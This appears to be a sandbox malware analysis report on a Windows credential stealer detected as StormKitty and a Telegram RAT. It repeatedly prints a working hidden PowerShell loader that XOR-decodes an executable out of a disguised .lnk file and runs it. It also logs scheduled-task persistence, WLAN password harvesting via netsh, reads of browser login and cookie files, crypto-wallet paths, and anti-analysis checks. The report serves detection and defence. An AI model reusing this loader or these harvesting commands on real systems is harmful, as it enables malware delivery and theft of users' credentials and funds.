Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593027	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592767	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592486	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592361	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592111	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591986	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591621	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591499	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591283	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590970	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590845	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590705	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590580	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590423	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590226	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590085	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589830	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589659	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589508	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589381	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588893	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588764	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588643	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588518	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 922337203685477

Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: svchost.exe, 0000000C.00000002.3314125546.000001D9C385A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3311719690.000001D9BE02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: tmp1201676045.exe, 00000004.00000002.2348375255.000001F76B0DF000.00000004.00000020.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2410310677.000002242F5C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tmp1201676045.exe, 00000004.00000002.2342658911.000001F76A740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tmp71CA.tmp.dat.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe "C:\Users\user\AppData\Local\Temp\tmp1201676045.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 5268
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe Timeout /T 2 /Nobreak

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 5268

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = get-childitem *.lnk ^\| where-object {$_.length -eq 0x00012126} ^\| select-object -expandproperty name; $file = gc $lnkpath -encoding byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'c:\users\user\appdata\local\temp\tmp' + (get-random) + '.exe'; sc $path ([byte[]]($file ^\| select -skip 002838)) -encoding byte; ^& $path;
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = get-childitem *.lnk \| where-object {$_.length -eq 0x00012126} \| select-object -expandproperty name; $file = gc $lnkpath -encoding byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'c:\users\user\appdata\local\temp\tmp' + (get-random) + '.exe'; sc $path ([byte[]]($file \| select -skip 002838)) -encoding byte; & $path;
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = get-childitem *.lnk \| where-object {$_.length -eq 0x00012126} \| select-object -expandproperty name; $file = gc $lnkpath -encoding byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'c:\users\user\appdata\local\temp\tmp' + (get-random) + '.exe'; sc $path ([byte[]]($file \| select -skip 002838)) -encoding byte; & $path;	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: tmp1201676045.exe, 00000004.00000002.2358124310.000001F76B1FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autoruns.exe
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected StormKitty Stealer

Source: Yara match	File source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx5
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore
Source: powershell.exe, 00000002.00000002.2083337679.000001D11855A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\Desktop\Exodus.txt.lnk
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets
Source: powershell.exe, 00000002.00000002.2320792433.00007FF849100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	111 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	2 Deobfuscate/Decode Files or Information	LSASS Memory	53 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
